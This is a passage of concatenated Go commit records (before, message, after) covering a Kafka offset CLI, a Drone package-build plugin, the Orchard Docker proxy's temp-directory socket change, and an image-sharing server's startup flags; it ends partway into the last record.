	// Always setup SSE Stream
	sseBroker := &metrics.SSEBroker{
		make(map[chan metrics.Metric]bool),
		make(chan (chan metrics.Metric)),
		make(chan (chan metrics.Metric)),
		sseChannel,
		log,
	}

	sseBroker.In(sseChannel)
	sseBroker.Start()

	go stream.Start()

	/*

		Zookeeper setup

	*/

	if len(zooConString) > 0 {

		log.Notice("Initializing Zookeeper connection to " + zooConString + zooConKey)
		zkClient := zookeeper.ZkClient{}
		err := zkClient.Init(zooConString, &haConfig, log)

		if err != nil {
			log.Error("Error initializing Zookeeper...")
		}
		zkClient.Watch(zooConKey)
	}

	/*

		Rest API setup

	*/
	log.Notice("Initializing REST API...")
	restApi := api.CreateApi(log, &haConfig, &haRuntime, sseBroker)
	restApi.Run("0.0.0.0:" + strconv.Itoa(port))

}
<|endoftext|>


<commit_before>package main

import (
	"errors"
	"flag"
	"fmt"
	"log"
	"strings"

	"github.com/vrischmann/koff/Godeps/_workspace/src/github.com/Shopify/sarama"
)

type command int

const (
	cmdGetOffset command = iota
	cmdGetConsumerGroupOffset
	cmdCompareOffset
)

type topicAndPartition struct {
	topic     string
	partition int32
}

var (
	topics []string
	cmd    command

	client            sarama.Client
	leaders           = make(map[topicAndPartition]*sarama.Broker)
	offsetCoordinator *sarama.Broker
	partitions        = make(map[string][]int32)
)

func initSarama() (err error) {
	config := sarama.NewConfig()
	config.ClientID = "koff"
	config.Consumer.Return.Errors = false

	client, err = sarama.NewClient([]string{flBroker}, config)
	if err != nil {
		return err
	}

	if topics, err = client.Topics(); err != nil {
		return err
	}

	if err = client.RefreshMetadata(topics...); err != nil {
		return err
	}

	for _, topic := range topics {
		p, err := client.Partitions(topic)
		if err != nil {
			return err
		}
		partitions[topic] = p

		for _, p := range partitions[topic] {
			tp := topicAndPartition{topic, p}

			{
				leader, err := client.Leader(tp.topic, tp.partition)
				if err != nil {
					return err
				}

				if err = leader.Open(nil); err != sarama.ErrAlreadyConnected && err != nil {
					return err
				}

				if _, err = leader.Connected(); err != nil {
					return err
				}

				leaders[tp] = leader
			}
		}
	}

	return nil
}

func getOffsetCoordinator() (err error) {
	if offsetCoordinator, err = client.Coordinator(flConsumerGroup); err != nil {
		return err
	}

	if err = offsetCoordinator.Open(nil); err != sarama.ErrAlreadyConnected && err != nil {
		return nil
	}

	if _, err = offsetCoordinator.Connected(); err != nil {
		return err
	}

	return nil
}

func fetchConsumerGroupOffsets(consumerGroup string, topic string, partitions ...int32) (res map[int32]int64, err error) {
	res = make(map[int32]int64)
	for _, p := range partitions {
		req := &sarama.OffsetFetchRequest{
			ConsumerGroup: consumerGroup,
			Version:       1,
		}
		req.AddPartition(topic, p)

		resp, err := offsetCoordinator.FetchOffset(req)
		if err != nil {
			return nil, err
		}

		block := resp.Blocks[topic][p]
		if block.Err != sarama.ErrNoError {
			return nil, block.Err
		}

		res[p] = resp.Blocks[topic][p].Offset + 1 // the offset we fetch is the last committed we need the next to fetch
	}

	return
}

func fetchAvailableOffsets(topic string, partitions ...int32) (res map[int32]int64, err error) {
	var offset int64

	if flNewest {
		offset = sarama.OffsetNewest
	} else {
		offset = sarama.OffsetOldest
	}

	res = make(map[int32]int64)
	for _, p := range partitions {
		req := &sarama.OffsetRequest{}
		req.AddBlock(flTopic, p, offset, 1)

		tp := topicAndPartition{topic, p}

		resp, err := leaders[tp].GetAvailableOffsets(req)
		if err != nil {
			return nil, err
		}

		block := resp.GetBlock(flTopic, p)
		if block.Err != sarama.ErrNoError {
			return nil, block.Err
		}

		res[p] = block.Offsets[0]
	}

	return
}

func getConsumerOffset() error {
	if err := getOffsetCoordinator(); err != nil {
		return err
	}

	partition := int32(flPartition)

	var offsets map[int32]int64
	var err error
	if partition > -1 {
		offsets, err = fetchConsumerGroupOffsets(flConsumerGroup, flTopic, partition)
		if err != nil {
			return err
		}

		fmt.Printf("p:%-4d %d\n", partition, offsets[partition])

		return nil
	}

	offsets, err = fetchConsumerGroupOffsets(flConsumerGroup, flTopic, partitions[flTopic]...)
	if err != nil {
		return err
	}

	for p, offset := range offsets {
		fmt.Printf("p:%-4d %d\n", p, offset)
	}

	return nil
}

func getOffset() (err error) {
	partition := int32(flPartition)

	var offsets map[int32]int64
	if partition > -1 {
		offsets, err = fetchAvailableOffsets(flTopic, partition)
		if err != nil {
			return err
		}

		fmt.Printf("p:%-4d %d\n", partition, offsets[partition])

		return nil
	}

	offsets, err = fetchAvailableOffsets(flTopic, partitions[flTopic]...)
	if err != nil {
		return err
	}

	for p, offset := range offsets {
		fmt.Printf("p:%-4d %d\n", p, offset)
	}

	return nil
}

func compareOffset() (err error) {
	if err := getOffsetCoordinator(); err != nil {
		return err
	}

	partition := int32(flPartition)

	var offsets map[int32]int64
	var availableOffsets map[int32]int64

	if partition > -1 {
		offsets, err = fetchConsumerGroupOffsets(flConsumerGroup, flTopic, partition)
		if err != nil {
			return err
		}

		availableOffsets, err = fetchAvailableOffsets(flTopic, partition)
		if err != nil {
			return err
		}

		fmt.Printf("p:%-4d available: %d consumer: %d\n", partition, availableOffsets[partition], offsets[partition])

		return nil
	}

	offsets, err = fetchConsumerGroupOffsets(flConsumerGroup, flTopic, partitions[flTopic]...)
	if err != nil {
		return err
	}

	availableOffsets, err = fetchAvailableOffsets(flTopic, partitions[flTopic]...)
	if err != nil {
		return err
	}

	for _, p := range partitions[flTopic] {
		fmt.Printf("p:%-4d available: %d consumer: %d\n", p, availableOffsets[p], offsets[p])
	}

	return nil
}

func checkFlags() error {
	if flBroker == "" {
		return errors.New("broker is not set")
	}

	if flTopic == "" {
		return errors.New("topic is not set")
	}

	if cmd == cmdCompareOffset || cmd == cmdGetConsumerGroupOffset {
		if flConsumerGroup == "" {
			return errors.New("consumer group is not set")
		}
	}

	return nil
}

func cggoCommand() error {
	if err := fsConsumerGroup.Parse(flag.Args()[1:]); err != nil {
		return err
	}

	if err := checkFlags(); err != nil {
		return err
	}

	if err := initSarama(); err != nil {
		return err
	}
	defer client.Close()

	return getConsumerOffset()
}

func goCommand() error {
	if err := fsGetOffset.Parse(flag.Args()[1:]); err != nil {
		return err
	}

	if err := checkFlags(); err != nil {
		return err
	}

	if err := initSarama(); err != nil {
		return err
	}
	defer client.Close()

	return getOffset()
}

func coCommand() error {
	if err := fsCompareOffset.Parse(flag.Args()[1:]); err != nil {
		return err
	}

	if err := checkFlags(); err != nil {
		return err
	}

	if err := initSarama(); err != nil {
		return err
	}
	defer client.Close()

	return compareOffset()
}

func main() {
	flag.Parse()

	switch strings.ToLower(flag.Arg(0)) {
	case "consumer-group-get-offset", "cggo":
		cmd = cmdGetConsumerGroupOffset
		if err := cggoCommand(); err != nil {
			log.Fatalln(err)
			return
		}
	case "get-offset", "go":
		cmd = cmdGetOffset
		if err := goCommand(); err != nil {
			log.Fatalln(err)
			return
		}
	case "compare-offset", "co":
		cmd = cmdCompareOffset
		if err := coCommand(); err != nil {
			log.Fatalln(err)
			return
		}
	}

}
<commit_msg>Add a ! to the output if the offsets are different<commit_after>package main

import (
	"errors"
	"flag"
	"fmt"
	"log"
	"strings"

	"github.com/vrischmann/koff/Godeps/_workspace/src/github.com/Shopify/sarama"
)

type command int

const (
	cmdGetOffset command = iota
	cmdGetConsumerGroupOffset
	cmdCompareOffset
)

type topicAndPartition struct {
	topic     string
	partition int32
}

var (
	topics []string
	cmd    command

	client            sarama.Client
	leaders           = make(map[topicAndPartition]*sarama.Broker)
	offsetCoordinator *sarama.Broker
	partitions        = make(map[string][]int32)
)

func initSarama() (err error) {
	config := sarama.NewConfig()
	config.ClientID = "koff"
	config.Consumer.Return.Errors = false

	client, err = sarama.NewClient([]string{flBroker}, config)
	if err != nil {
		return err
	}

	if topics, err = client.Topics(); err != nil {
		return err
	}

	if err = client.RefreshMetadata(topics...); err != nil {
		return err
	}

	for _, topic := range topics {
		p, err := client.Partitions(topic)
		if err != nil {
			return err
		}
		partitions[topic] = p

		for _, p := range partitions[topic] {
			tp := topicAndPartition{topic, p}

			{
				leader, err := client.Leader(tp.topic, tp.partition)
				if err != nil {
					return err
				}

				if err = leader.Open(nil); err != sarama.ErrAlreadyConnected && err != nil {
					return err
				}

				if _, err = leader.Connected(); err != nil {
					return err
				}

				leaders[tp] = leader
			}
		}
	}

	return nil
}

func getOffsetCoordinator() (err error) {
	if offsetCoordinator, err = client.Coordinator(flConsumerGroup); err != nil {
		return err
	}

	if err = offsetCoordinator.Open(nil); err != sarama.ErrAlreadyConnected && err != nil {
		return nil
	}

	if _, err = offsetCoordinator.Connected(); err != nil {
		return err
	}

	return nil
}

func fetchConsumerGroupOffsets(consumerGroup string, topic string, partitions ...int32) (res map[int32]int64, err error) {
	res = make(map[int32]int64)
	for _, p := range partitions {
		req := &sarama.OffsetFetchRequest{
			ConsumerGroup: consumerGroup,
			Version:       1,
		}
		req.AddPartition(topic, p)

		resp, err := offsetCoordinator.FetchOffset(req)
		if err != nil {
			return nil, err
		}

		block := resp.Blocks[topic][p]
		if block.Err != sarama.ErrNoError {
			return nil, block.Err
		}

		res[p] = resp.Blocks[topic][p].Offset + 1 // the offset we fetch is the last committed we need the next to fetch
	}

	return
}

func fetchAvailableOffsets(topic string, partitions ...int32) (res map[int32]int64, err error) {
	var offset int64

	if flNewest {
		offset = sarama.OffsetNewest
	} else {
		offset = sarama.OffsetOldest
	}

	res = make(map[int32]int64)
	for _, p := range partitions {
		req := &sarama.OffsetRequest{}
		req.AddBlock(flTopic, p, offset, 1)

		tp := topicAndPartition{topic, p}

		resp, err := leaders[tp].GetAvailableOffsets(req)
		if err != nil {
			return nil, err
		}

		block := resp.GetBlock(flTopic, p)
		if block.Err != sarama.ErrNoError {
			return nil, block.Err
		}

		res[p] = block.Offsets[0]
	}

	return
}

func getConsumerOffset() error {
	if err := getOffsetCoordinator(); err != nil {
		return err
	}

	partition := int32(flPartition)

	var offsets map[int32]int64
	var err error
	if partition > -1 {
		offsets, err = fetchConsumerGroupOffsets(flConsumerGroup, flTopic, partition)
		if err != nil {
			return err
		}

		fmt.Printf("p:%-4d %d\n", partition, offsets[partition])

		return nil
	}

	offsets, err = fetchConsumerGroupOffsets(flConsumerGroup, flTopic, partitions[flTopic]...)
	if err != nil {
		return err
	}

	for p, offset := range offsets {
		fmt.Printf("p:%-4d %d\n", p, offset)
	}

	return nil
}

func getOffset() (err error) {
	partition := int32(flPartition)

	var offsets map[int32]int64
	if partition > -1 {
		offsets, err = fetchAvailableOffsets(flTopic, partition)
		if err != nil {
			return err
		}

		fmt.Printf("p:%-4d %d\n", partition, offsets[partition])

		return nil
	}

	offsets, err = fetchAvailableOffsets(flTopic, partitions[flTopic]...)
	if err != nil {
		return err
	}

	for p, offset := range offsets {
		fmt.Printf("p:%-4d %d\n", p, offset)
	}

	return nil
}

func compareOffset() (err error) {
	if err := getOffsetCoordinator(); err != nil {
		return err
	}

	partition := int32(flPartition)

	var offsets map[int32]int64
	var availableOffsets map[int32]int64

	if partition > -1 {
		offsets, err = fetchConsumerGroupOffsets(flConsumerGroup, flTopic, partition)
		if err != nil {
			return err
		}

		availableOffsets, err = fetchAvailableOffsets(flTopic, partition)
		if err != nil {
			return err
		}

		fmt.Printf("p:%-4d available: %d consumer: %d\n", partition, availableOffsets[partition], offsets[partition])

		return nil
	}

	offsets, err = fetchConsumerGroupOffsets(flConsumerGroup, flTopic, partitions[flTopic]...)
	if err != nil {
		return err
	}

	availableOffsets, err = fetchAvailableOffsets(flTopic, partitions[flTopic]...)
	if err != nil {
		return err
	}

	for _, p := range partitions[flTopic] {
		fmt.Printf("p:%-4d available: %-10d consumer: %-10d", p, availableOffsets[p], offsets[p])
		if availableOffsets[p] != offsets[p] {
			fmt.Printf("   !")
		}
		fmt.Printf("\n")
	}

	return nil
}

func checkFlags() error {
	if flBroker == "" {
		return errors.New("broker is not set")
	}

	if flTopic == "" {
		return errors.New("topic is not set")
	}

	if cmd == cmdCompareOffset || cmd == cmdGetConsumerGroupOffset {
		if flConsumerGroup == "" {
			return errors.New("consumer group is not set")
		}
	}

	return nil
}

func cggoCommand() error {
	if err := fsConsumerGroup.Parse(flag.Args()[1:]); err != nil {
		return err
	}

	if err := checkFlags(); err != nil {
		return err
	}

	if err := initSarama(); err != nil {
		return err
	}
	defer client.Close()

	return getConsumerOffset()
}

func goCommand() error {
	if err := fsGetOffset.Parse(flag.Args()[1:]); err != nil {
		return err
	}

	if err := checkFlags(); err != nil {
		return err
	}

	if err := initSarama(); err != nil {
		return err
	}
	defer client.Close()

	return getOffset()
}

func coCommand() error {
	if err := fsCompareOffset.Parse(flag.Args()[1:]); err != nil {
		return err
	}

	if err := checkFlags(); err != nil {
		return err
	}

	if err := initSarama(); err != nil {
		return err
	}
	defer client.Close()

	return compareOffset()
}

func main() {
	flag.Parse()

	switch strings.ToLower(flag.Arg(0)) {
	case "consumer-group-get-offset", "cggo":
		cmd = cmdGetConsumerGroupOffset
		if err := cggoCommand(); err != nil {
			log.Fatalln(err)
			return
		}
	case "get-offset", "go":
		cmd = cmdGetOffset
		if err := goCommand(); err != nil {
			log.Fatalln(err)
			return
		}
	case "compare-offset", "co":
		cmd = cmdCompareOffset
		if err := coCommand(); err != nil {
			log.Fatalln(err)
			return
		}
	}

}
<|endoftext|>


<commit_before>package main

import (
	"bytes"
	"fmt"
	"os"
	"path"

	log "github.com/Sirupsen/logrus"
	"github.com/drone/drone-plugin-go/plugin"
	"github.com/mikkeloscar/maze-repo/repo"
)

// ArchBuild defines the vargs passed from .drone.yml.
type ArchBuild struct {
	Repo     string `json:"repo"`
	SignKey  string `json:"sign_key"`
	Packager string `json:"packager"`
}

func main() {
	// configure log
	log.SetFormatter(new(formatter))

	err := run()
	if err != nil {
		log.Error(err)
		os.Exit(1)
	}
}

type formatter struct{}

func (f *formatter) Format(entry *log.Entry) ([]byte, error) {
	buf := &bytes.Buffer{}
	fmt.Fprintf(buf, "[%s] %s\n", entry.Level.String(), entry.Message)
	return buf.Bytes(), nil
}

func run() error {
	// var repo = plugin.Repo{}
	// var build = plugin.Build{}
	var system = plugin.System{}
	var workspace = plugin.Workspace{}
	var vargs = ArchBuild{}

	// plugin.Param("repo", &repo)
	// plugin.Param("build", &build)
	plugin.Param("system", &system)
	plugin.Param("workspace", &workspace)
	plugin.Param("vargs", &vargs)
	plugin.MustParse()

	srcsPath := path.Join(workspace.Path, "drone_pkgbuild", "sources")
	repoPath := path.Join(workspace.Path, "drone_pkgbuild", "repo")

	// repoName, repoUrl, err := splitRepoDef(vargs.Repo)

	// pkgRepo := &Repo{
	// 	name:    repoName,
	// 	url:     repoUrl,
	// 	workdir: repoPath,
	// }

	// configure build
	if vargs.Packager == "" {
		vargs.Packager = "maze-build"
	}

	pkgRepo := &Repo{
		local: repo.Repo{
			Name: "repo",
			Path: repoPath,
		},
		url: repoPath,
	}

	builder := &Builder{
		workdir: srcsPath,
		repo:    pkgRepo,
		config:  vargs,
	}

	// aur := &AUR{srcsPath}

	// build, err := parseBuildURLInfo(system.Link, srcsPath)
	// if err != nil {
	// 	return err
	// }

	build := &build{
		Pkgs: []string{"linux-ck"},
		Src:  &AUR{srcsPath},
	}

	pkgs, err := builder.BuildNew(build.Pkgs, build.Src)
	if err != nil {
		return err
	}

	fmt.Println(pkgs)

	return nil
}
<commit_msg>Try to build chromium-dev<commit_after>package main

import (
	"bytes"
	"fmt"
	"os"
	"path"

	log "github.com/Sirupsen/logrus"
	"github.com/drone/drone-plugin-go/plugin"
	"github.com/mikkeloscar/maze-repo/repo"
)

// ArchBuild defines the vargs passed from .drone.yml.
type ArchBuild struct {
	Repo     string `json:"repo"`
	SignKey  string `json:"sign_key"`
	Packager string `json:"packager"`
}

func main() {
	// configure log
	log.SetFormatter(new(formatter))

	err := run()
	if err != nil {
		log.Error(err)
		os.Exit(1)
	}
}

type formatter struct{}

func (f *formatter) Format(entry *log.Entry) ([]byte, error) {
	buf := &bytes.Buffer{}
	fmt.Fprintf(buf, "[%s] %s\n", entry.Level.String(), entry.Message)
	return buf.Bytes(), nil
}

func run() error {
	// var repo = plugin.Repo{}
	// var build = plugin.Build{}
	var system = plugin.System{}
	var workspace = plugin.Workspace{}
	var vargs = ArchBuild{}

	// plugin.Param("repo", &repo)
	// plugin.Param("build", &build)
	plugin.Param("system", &system)
	plugin.Param("workspace", &workspace)
	plugin.Param("vargs", &vargs)
	plugin.MustParse()

	srcsPath := path.Join(workspace.Path, "drone_pkgbuild", "sources")
	repoPath := path.Join(workspace.Path, "drone_pkgbuild", "repo")

	// repoName, repoUrl, err := splitRepoDef(vargs.Repo)

	// pkgRepo := &Repo{
	// 	name:    repoName,
	// 	url:     repoUrl,
	// 	workdir: repoPath,
	// }

	// configure build
	if vargs.Packager == "" {
		vargs.Packager = "maze-build"
	}

	pkgRepo := &Repo{
		local: repo.Repo{
			Name: "repo",
			Path: repoPath,
		},
		url: repoPath,
	}

	builder := &Builder{
		workdir: srcsPath,
		repo:    pkgRepo,
		config:  vargs,
	}

	// aur := &AUR{srcsPath}

	// build, err := parseBuildURLInfo(system.Link, srcsPath)
	// if err != nil {
	// 	return err
	// }

	build := &build{
		Pkgs: []string{"chromium-dev"},
		Src:  &AUR{srcsPath},
	}

	pkgs, err := builder.BuildNew(build.Pkgs, build.Src)
	if err != nil {
		return err
	}

	fmt.Println(pkgs)

	return nil
}
<|endoftext|>


<commit_before>package main

import (
	"crypto/tls"
	"errors"
	"fmt"
	"github.com/orchardup/orchard/cli"
	"github.com/orchardup/orchard/github.com/docopt/docopt.go"
	"github.com/orchardup/orchard/proxy"
	"github.com/orchardup/orchard/tlsconfig"
	"io/ioutil"
	"net"
	"os"
	"os/exec"
	"os/signal"
	"path"
	"strings"
	"syscall"
	"text/tabwriter"
)

func main() {
	usage := `Orchard.

Usage:
  orchard hosts
  orchard hosts create NAME
  orchard hosts rm NAME
  orchard [options] docker [COMMAND...]
  orchard [options] proxy

Options:
  -h --help               Show this screen.
  --version               Show version.
  -H NAME, --host=NAME    Name of host to connect to (instead of 'default')`

	args, err := docopt.Parse(usage, nil, true, "Orchard 2.0.0", true)
	if err != nil {
		fmt.Println("Error parsing arguments: %s\n", err)
		return
	}

	if args["hosts"] == true {
		if err := Hosts(args); err != nil {
			fmt.Println(err)
		}
	} else if args["docker"] == true || args["proxy"] == true {
		hostName := "default"
		if args["--host"] != nil {
			hostName = args["--host"].(string)
		}

		socketPath := "/tmp/orchard.sock"

		p, err := MakeProxy(socketPath, hostName)
		if err != nil {
			fmt.Printf("Error starting proxy: %v\n", err)
			return
		}

		go p.Start()
		defer p.Stop()

		if err := <-p.ErrorChannel; err != nil {
			fmt.Printf("Error starting proxy: %v\n", err)
			return
		}

		if args["docker"] == true {
			err := CallDocker(args["COMMAND"].([]string), []string{"DOCKER_HOST=unix://" + socketPath})
			if err != nil {
				fmt.Println(err)
			}
		} else {
			fmt.Println("Started proxy at unix://" + socketPath)

			c := make(chan os.Signal)
			signal.Notify(c, syscall.SIGINT, syscall.SIGKILL)
			<-c

			fmt.Println("\nStopping proxy")
		}
	}
}

func MakeProxy(socketPath string, hostName string) (*proxy.Proxy, error) {
	httpClient, err := authenticator.Authenticate()
	if err != nil {
		return nil, err
	}

	host, err := httpClient.GetHost(hostName)
	if err != nil {
		return nil, err
	}
	destination := host.IPv4_Address + ":4243"

	fmt.Printf("Connecting to %s...\n", destination)

	certData, err := ioutil.ReadFile("client-cert.pem")
	if err != nil {
		return nil, err
	}
	keyData, err := ioutil.ReadFile("client-key.pem")
	if err != nil {
		return nil, err
	}

	config, err := tlsconfig.GetTLSConfig(certData, keyData)
	if err != nil {
		return nil, err
	}

	return proxy.New(
		func() (net.Listener, error) { return net.Listen("unix", socketPath) },
		func() (net.Conn, error) { return tls.Dial("tcp", destination, config) },
	), nil
}

func CallDocker(args []string, env []string) error {
	dockerPath := GetDockerPath()
	if dockerPath == "" {
		return errors.New("Can't find `docker` executable in $PATH.\nYou might need to install it: http://docs.docker.io/en/latest/installation/#installation-list")
	}

	cmd := exec.Command(dockerPath, args...)
	cmd.Env = env
	cmd.Stdin = os.Stdin
	cmd.Stdout = os.Stdout
	cmd.Stderr = os.Stderr
	return cmd.Run()
}

func GetDockerPath() string {
	for _, dir := range strings.Split(os.Getenv("PATH"), ":") {
		dockerPath := path.Join(dir, "docker")
		_, err := os.Stat(dockerPath)
		if err == nil {
			return dockerPath
		}
	}
	return ""
}

func Hosts(args map[string]interface{}) error {
	httpClient, err := authenticator.Authenticate()
	if err != nil {
		fmt.Printf("Error authenticating:\n%s\n", err)
	}

	if args["create"] == true {
		host, err := httpClient.CreateHost(args["NAME"].(string))
		if err != nil {
			return err
		}
		fmt.Printf("Created %s with IP address %s\n", host.Name, host.IPv4_Address)
	} else if args["rm"] == true {
		err := httpClient.DeleteHost(args["NAME"].(string))
		if err != nil {
			return err
		}
		fmt.Printf("Removed %s\n", args["NAME"].(string))
	} else {
		hosts, err := httpClient.GetHosts()
		if err != nil {
			return err
		}

		writer := tabwriter.NewWriter(os.Stdout, 20, 1, 3, ' ', 0)
		fmt.Fprintln(writer, "NAME\tIP")
		for _, host := range hosts {
			fmt.Fprintf(writer, "%s\t%s\n", host.Name, host.IPv4_Address)
		}
		writer.Flush()
	}

	return nil
}
<commit_msg>Create socket at random path<commit_after>package main

import (
	"crypto/tls"
	"errors"
	"fmt"
	"github.com/orchardup/orchard/cli"
	"github.com/orchardup/orchard/github.com/docopt/docopt.go"
	"github.com/orchardup/orchard/proxy"
	"github.com/orchardup/orchard/tlsconfig"
	"io/ioutil"
	"net"
	"os"
	"os/exec"
	"os/signal"
	"path"
	"strings"
	"syscall"
	"text/tabwriter"
)

func main() {
	usage := `Orchard.

Usage:
  orchard hosts
  orchard hosts create NAME
  orchard hosts rm NAME
  orchard [options] docker [COMMAND...]
  orchard [options] proxy

Options:
  -h --help               Show this screen.
  --version               Show version.
  -H NAME, --host=NAME    Name of host to connect to (instead of 'default')`

	args, err := docopt.Parse(usage, nil, true, "Orchard 2.0.0", true)
	if err != nil {
		fmt.Println("Error parsing arguments: %s\n", err)
		return
	}

	if args["hosts"] == true {
		if err := Hosts(args); err != nil {
			fmt.Println(err)
		}
	} else if args["docker"] == true || args["proxy"] == true {
		hostName := "default"
		if args["--host"] != nil {
			hostName = args["--host"].(string)
		}

		dirname, err := ioutil.TempDir("/tmp", "orchard-")
		if err != nil {
			fmt.Printf("Error creating temporary directory: %s\n", err)
			return
		}
		defer os.RemoveAll(dirname)
		socketPath := path.Join(dirname, "orchard.sock")

		p, err := MakeProxy(socketPath, hostName)
		if err != nil {
			fmt.Printf("Error starting proxy: %v\n", err)
			return
		}

		go p.Start()
		defer p.Stop()

		if err := <-p.ErrorChannel; err != nil {
			fmt.Printf("Error starting proxy: %v\n", err)
			return
		}

		if args["docker"] == true {
			err := CallDocker(args["COMMAND"].([]string), []string{"DOCKER_HOST=unix://" + socketPath})
			if err != nil {
				fmt.Println(err)
			}
		} else {
			fmt.Println("Started proxy at unix://" + socketPath)

			c := make(chan os.Signal)
			signal.Notify(c, syscall.SIGINT, syscall.SIGKILL)
			<-c

			fmt.Println("\nStopping proxy")
		}
	}
}

func MakeProxy(socketPath string, hostName string) (*proxy.Proxy, error) {
	httpClient, err := authenticator.Authenticate()
	if err != nil {
		return nil, err
	}

	host, err := httpClient.GetHost(hostName)
	if err != nil {
		return nil, err
	}
	destination := host.IPv4_Address + ":4243"

	fmt.Printf("Connecting to %s...\n", destination)

	certData, err := ioutil.ReadFile("client-cert.pem")
	if err != nil {
		return nil, err
	}
	keyData, err := ioutil.ReadFile("client-key.pem")
	if err != nil {
		return nil, err
	}

	config, err := tlsconfig.GetTLSConfig(certData, keyData)
	if err != nil {
		return nil, err
	}

	return proxy.New(
		func() (net.Listener, error) { return net.Listen("unix", socketPath) },
		func() (net.Conn, error) { return tls.Dial("tcp", destination, config) },
	), nil
}

func CallDocker(args []string, env []string) error {
	dockerPath := GetDockerPath()
	if dockerPath == "" {
		return errors.New("Can't find `docker` executable in $PATH.\nYou might need to install it: http://docs.docker.io/en/latest/installation/#installation-list")
	}

	cmd := exec.Command(dockerPath, args...)
	cmd.Env = env
	cmd.Stdin = os.Stdin
	cmd.Stdout = os.Stdout
	cmd.Stderr = os.Stderr
	return cmd.Run()
}

func GetDockerPath() string {
	for _, dir := range strings.Split(os.Getenv("PATH"), ":") {
		dockerPath := path.Join(dir, "docker")
		_, err := os.Stat(dockerPath)
		if err == nil {
			return dockerPath
		}
	}
	return ""
}

func Hosts(args map[string]interface{}) error {
	httpClient, err := authenticator.Authenticate()
	if err != nil {
		fmt.Printf("Error authenticating:\n%s\n", err)
	}

	if args["create"] == true {
		host, err := httpClient.CreateHost(args["NAME"].(string))
		if err != nil {
			return err
		}
		fmt.Printf("Created %s with IP address %s\n", host.Name, host.IPv4_Address)
	} else if args["rm"] == true {
		err := httpClient.DeleteHost(args["NAME"].(string))
		if err != nil {
			return err
		}
		fmt.Printf("Removed %s\n", args["NAME"].(string))
	} else {
		hosts, err := httpClient.GetHosts()
		if err != nil {
			return err
		}

		writer := tabwriter.NewWriter(os.Stdout, 20, 1, 3, ' ', 0)
		fmt.Fprintln(writer, "NAME\tIP")
		for _, host := range hosts {
			fmt.Fprintf(writer, "%s\t%s\n", host.Name, host.IPv4_Address)
		}
		writer.Flush()
	}

	return nil
}
<|endoftext|>


<commit_before>/*
 * (c) 2014, Caoimhe Chaos <caoimhechaos@protonmail.com>,
 *	     Ancient Solutions. All rights reserved.
 *
 * Redistribution and use in source  and binary forms, with or without
 * modification, are permitted  provided that the following conditions
 * are met:
 *
 * * Redistributions of  source code  must retain the  above copyright
 *   notice, this list of conditions and the following disclaimer.
 * * Redistributions in binary form must reproduce the above copyright
 *   notice, this  list of conditions and the  following disclaimer in
 *   the  documentation  and/or  other  materials  provided  with  the
 *   distribution.
 * * Neither  the  name  of  Ancient Solutions  nor  the  name  of its
 *   contributors may  be used to endorse or  promote products derived
 *   from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
 * "AS IS"  AND ANY EXPRESS  OR IMPLIED WARRANTIES  OF MERCHANTABILITY
 * AND FITNESS  FOR A PARTICULAR  PURPOSE ARE DISCLAIMED. IN  NO EVENT
 * SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
 * INDIRECT, INCIDENTAL, SPECIAL,  EXEMPLARY, OR CONSEQUENTIAL DAMAGES
 * (INCLUDING, BUT NOT LIMITED  TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE,  DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
 * STRICT  LIABILITY,  OR  TORT  (INCLUDING NEGLIGENCE  OR  OTHERWISE)
 * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
 * OF THE POSSIBILITY OF SUCH DAMAGE.
 */

package main

import (
	"flag"
	"html/template"
	"log"
	"net/http"

	"ancient-solutions.com/ancientauth"
)

func main() {
	var app_name, cert_file, key_file, ca_bundle, authserver string
	var bind, dbserver, dbname, skel_path, upload_path, static_path string
	var num_pics, num_own int
	var skel, upload *template.Template
	var auth *ancientauth.Authenticator
	var db *PikShrDB
	var err error

	flag.StringVar(&app_name, "app-name", "PicShr image sharing",
		"Application name to present to the authentication server")
	flag.StringVar(&cert_file, "cert", "pikshr.crt",
		"Service certificate for PikShr")
	flag.StringVar(&key_file, "priv", "pikshr.key",
		"Private serivce key for PikShr")
	flag.StringVar(&ca_bundle, "ca", "ca.crt",
		"Path to CA certificates to authenticate the login service")
	flag.StringVar(&authserver, "auth-server", "login.ancient-solutions.com",
		"Host name of the authentication service to use")

	flag.StringVar(&skel_path, "skelelton-template", "skel.html",
		"Path to the skeleton template to use for displaying the pictures")
	flag.StringVar(&upload_path, "upload-template", "upload.html",
		"Path to the upload template which is essentially the main page")
	flag.StringVar(&static_path, "static-path", ".",
		"Path to the required static files for the web interface")

	flag.StringVar(&bind, "bind", "[::]:8080",
		"host:port pair to bind the web server to")
	flag.StringVar(&dbserver, "cassandra-server", "localhost:9160",
		"Host name of the Cassandra database server to use")
	flag.StringVar(&dbname, "cassandra-dbname", "pikshr",
		"Name of the Cassandra keyspace the images etc. are stored in")

	flag.IntVar(&num_pics, "pics-per-page", 32,
		"Number of pictures to display on the home page")
	flag.IntVar(&num_own, "own-pics-per-page", 8,
		"Number of _own_ pictures to display on the home page")

	flag.Parse()

	skel, err = template.ParseFiles(skel_path)
	if err != nil {
		log.Fatal("Unable to parse template ", skel_path, ": ", err)
	}
	upload, err = template.ParseFiles(upload_path)
	if err != nil {
		log.Fatal("Unable to parse template ", upload_path, ": ", err)
	}

	auth, err = ancientauth.NewAuthenticator(
		app_name, cert_file, key_file, ca_bundle, authserver)
	if err != nil {
		log.Fatal("Error creating authenticator: ", err)
	}

	db, err = NewPikShrDB(dbserver, dbname)
	if err != nil {
		log.Fatal("Error connecting to database ", dbname, " at ",
			dbserver, ": ", err)
	}

	http.Handle("/css/", http.FileServer(http.Dir(static_path)))
	http.Handle("/js/", http.FileServer(http.Dir(static_path)))
	http.Handle("/fonts/", http.FileServer(http.Dir(static_path)))

	http.Handle("/", &WebPikShrService{
		auth:     auth,
		db:       db,
		skel:     skel,
		upload:   upload,
		num_pics: int32(num_pics),
		num_own:  int32(num_own),
	})
	err = http.ListenAndServe(bind, nil)
	if err != nil {
		log.Fatal("Error serving HTTP on ", bind, ": ", err)
	}
}
<commit_msg>Give a few flags a more common name. Derive template paths from static dir by default.<commit_after>/*
